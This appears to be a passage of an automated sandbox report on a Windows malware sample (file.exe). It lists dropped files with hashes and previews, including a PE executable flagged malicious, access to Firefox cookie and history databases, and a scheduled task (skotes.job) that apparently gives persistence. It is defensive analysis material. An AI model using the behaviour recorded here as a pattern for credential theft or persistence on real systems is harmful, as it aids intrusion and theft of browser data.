Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 17 10:35:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.97075702601096
Encrypted:	false
SSDEEP:	48:8SdUTYoMH4idAKZdA19ehwiZUklqehqy+3:8J3rFy
MD5:	26E82A6BA7151260ED5FBA28D195621D
SHA1:	78D0E8E832F5D3C4445EE982F288C9A2A5025F91
SHA-256:	970482CC93234830FCBE41DA8322D14E96FCCD206937E821CD6FA120D55FB27E
SHA-512:	F97C8285A1DFCCBE874E819D814017A55AEF3294ED5BD52A16B1AD5B16ECE6CF3B4C7481CB37F42C8569D90B4AB5AABE83995AB5DA2FFC2F8CAA628CB7F22A84
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYg\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYg\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYg\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYg\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VqYi\...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..........._M.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 17 10:35:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9873548579313933
Encrypted:	false
SSDEEP:	48:8edUTYoMH4idAKZdA1weh/iZUkAQkqeh1y+2:8F3Z9QYy
MD5:	E7E3F98EF9B19E635FCAE8C81EC21078
SHA1:	657EAEEE95C9E7BEBAB92523E91FECD89B1B16DA
SHA-256:	58835899C8F0D4088D2C53671889389665012563026FB3D9D0856F6DB6B21C2B
SHA-512:	E860899D0A9669656A94BBCCB0351945BB6B33314E3226512A9664D73CC641DAC6A7FB86216B9F5F1FD4BE1C430B17676C47862CC92B1A2EFA897B16F62F17C0
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYg\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYg\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYg\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYg\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VqYi\...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..........._M.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.9985820771292713
Encrypted:	false
SSDEEP:	48:8xxdUTYosH4idAKZdA14tseh7sFiZUkmgqeh7s7y+BX:8xY3JnBy
MD5:	32A66E6386A3B58003EBA6113D14B64B
SHA1:	BA89AAA25C3B83B435E8BCA02945543680EE5ED5
SHA-256:	FC3E5BBB889926133DEE64F682BE079C1C950EFA6F7E2E0F5C95972251F57FA6
SHA-512:	33B4BAB826DC85B9F513DE2A6EA25ACC305FFE03C0F54E615248EB13CBE7FE42C245224A4D5104446766C9C6F9B5988C7A61AAA3E3BABEA1188FEE424020D157
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYg\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYg\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYg\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYg\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..........._M.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 17 10:35:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.984241033449597
Encrypted:	false
SSDEEP:	48:8+dUTYoMH4idAKZdA1vehDiZUkwqehJy+R:8l36jy
MD5:	BBFF25CCF91FB354DAD8E121F3E4F3D8
SHA1:	952E52EAF9FB29BEBE4329EA82899FAB00718356
SHA-256:	55A77E68022DD3F244FA0CFE0E03114FA7D043AEB2D69E8DB507FF94AD6C6EB8
SHA-512:	5D54C50422E06571CB5B15968D2865773B9DC3E3AD145D0D6D0DA3638039BAB028C1669BB13BBCC5DC227ECDC00407059AE99DCD1A9F4B1A8EE78BCC95A34C3D
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYg\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYg\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYg\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYg\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VqYi\...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..........._M.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 17 10:35:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.973772552304941
Encrypted:	false
SSDEEP:	48:8ldUTYoMH4idAKZdA1hehBiZUk1W1qehHy+C:88369ny
MD5:	06D2467FED1C56425175649FFEEB134D
SHA1:	36916FB352277B906E3825B47BF4668935566E70
SHA-256:	F38E7EBBCF4E36DB177CC78FAC7A1BAAE0969399F6EF4E794B41841169220C42
SHA-512:	0DD167036D1602553D31486FE111B1A9447C9066C7DE928DE226919D8A74D5BFCA820C825BBFF45F3201D864AB831062A002DF0156DE0497EDA408ED76ABF7DE
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....{...8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYg\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYg\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYg\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYg\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VqYi\...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..........._M.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 17 10:35:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9840221682829173
Encrypted:	false
SSDEEP:	48:89dUTYoMH4idAKZdA1duT+ehOuTbbiZUk5OjqehOuTbBy+yT+:8k3ET/TbxWOvTbBy7T
MD5:	14BE788FC06566DA8723F4EC9436E8AB
SHA1:	474202B12A6678922D0DB5058ABD53ACBA9E5A34
SHA-256:	3D51BC4FCA832DF743AD20E29631B59EB582775C0B5D0932B8AF6C67A2E8C477
SHA-512:	BFF794391F8C24C0870AD068DBC0229453788CD147C2A9AA759FFC8D62A5158687CBE521BCA1F028D559FB696FBC29B5D3176D3C3B7684224C14E5A725E70F73
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYg\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYg\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYg\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYg\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VqYi\...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..........._M.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsCGDGCFBAEG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1974784
Entropy (8bit):	7.948495197520631
Encrypted:	false
SSDEEP:	24576:OYb9xJ6ckjezhIArqtxdJP0HU6ZYRmZbpymJLdm7ZlGbN5bEdB8mElOA+f7dkgRE:NWcLI77zmXTBA1kTodBaODTOsjBJMf
MD5:	266A3815610D8CF2152B7935F676A542
SHA1:	0BD78F2B319000AEA80E17F8943F474F201A11E8
SHA-256:	6AE4FF8BDD6DF8A6993ECAFAFF38F5067FEC333AD04F9A4410B7A12D6E419983
SHA-512:	F001BCE9CFBC30615AD65CCA2B6818A861D2538E39752D02BEEBE19E1B349D08913A4391739F4C159B089B79DEEE26B811A82C0D89B6AB2EF2552AA5ABE26B86
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@.......................... N.....S.....@.................................W...k.......H...................`.M...............................M..................................................... . ............................@....rsrc...H...........................@....idata ............................@... . ,.........................@...jcgoymzc......2.....................@...vliouzwo......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsCGDGCFBAEG.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.421038968280943
Encrypted:	false
SSDEEP:	6:zWQLhjnVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBat0:6YjnRuQ1CGAFifXVBat0
MD5:	2DB0D8D3740B1B09031E4E8A46EE9D6B
SHA1:	509CDD5C25981BD005C20A880D54D1A24BFDA291
SHA-256:	39D23C0FCEEC937E30465A28AA7779FA42AAC1E8C3EBF58D3A2BAFDF8127F704
SHA-512:	403FA3D6694E8459026A10099FFBA5EF8C3753D34E418AEE390B12AC629678457950948F1860D391F14FE1150C922EB797BB5AC7385309B264E3AD18856DF3DF
Malicious:	false
Preview:	....-s..z..H........F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................$.@3P.........................

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3469)
Category:	downloaded
Size (bytes):	3474
Entropy (8bit):	5.848611726278645
Encrypted:	false
SSDEEP:	96:9oliKH6666+wDeAUlVqc41lJZUP7O0NDvfffffX:9eRH6666/TUOP9uCkDX
MD5:	57F10EAF28FE4C31BF170B296CF0B345
SHA1:	1307E90EA5BA1A37A5A2DE6881F57BB050BE1C19
SHA-256:	0C8F6AABCD1A26A012FCAF9C819B53816FE8AA842F45AA73132CE4A372853A58
SHA-512:	DBC9992253A63B2DF72EE9545F9F346B4E0E5D31C9E04D0CF739963C4F9EBE00157859393D21DE131250CF30A1DF9824384B2142C286A7D8A9BC3CBD10829833
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["all star wrestling penn state","nvda stock price","cbum prague pro","philippines typhoon man yi","mummified saber toothed cat","google messages sending as profile","david lynch","shiba inu crypto"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wMjZkeBISQW1lcmljYW4gZmlsbW1ha2VyMu8OZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBWkFBQURBUUVCQUFBQUFBQUFBQUFBQUFBRkJnY0VBd0QveEFBeUVBQUNBUU1EQVFZRUJnSURBQUFBQUFBQkFnTUFCQkVGRWlFR0V5SXhRVkZoQjNHQnNSUWpRcEdod1RMaEZWSmkvOFF

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133058
Entropy (8bit):	5.435161144262419
Encrypted:	false
SSDEEP:	3072:fykPdsBJT7bKwkztS6STFSz1nrmnSnXYK02i6o:fhdUW5c5Sz1nKnSnoK08o
MD5:	BBA3EA97D5BDFD20922895E77ABBF7AB
SHA1:	0CCF5C33AFE8B667A17C8B94B6E546EB0CAD14B8
SHA-256:	71673328FB885981D002C7B8C82F944895B5E976771E33B2931500328CA766C0
SHA-512:	873EF02FB119B5FB10FA92E67258429EB054B98A0E01AB4443F5664B12FA9EE04A96569BA38F6E1B75336A7310A71E3AF9A7E1E41821DE1C7D6A5B005E72B3BD
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
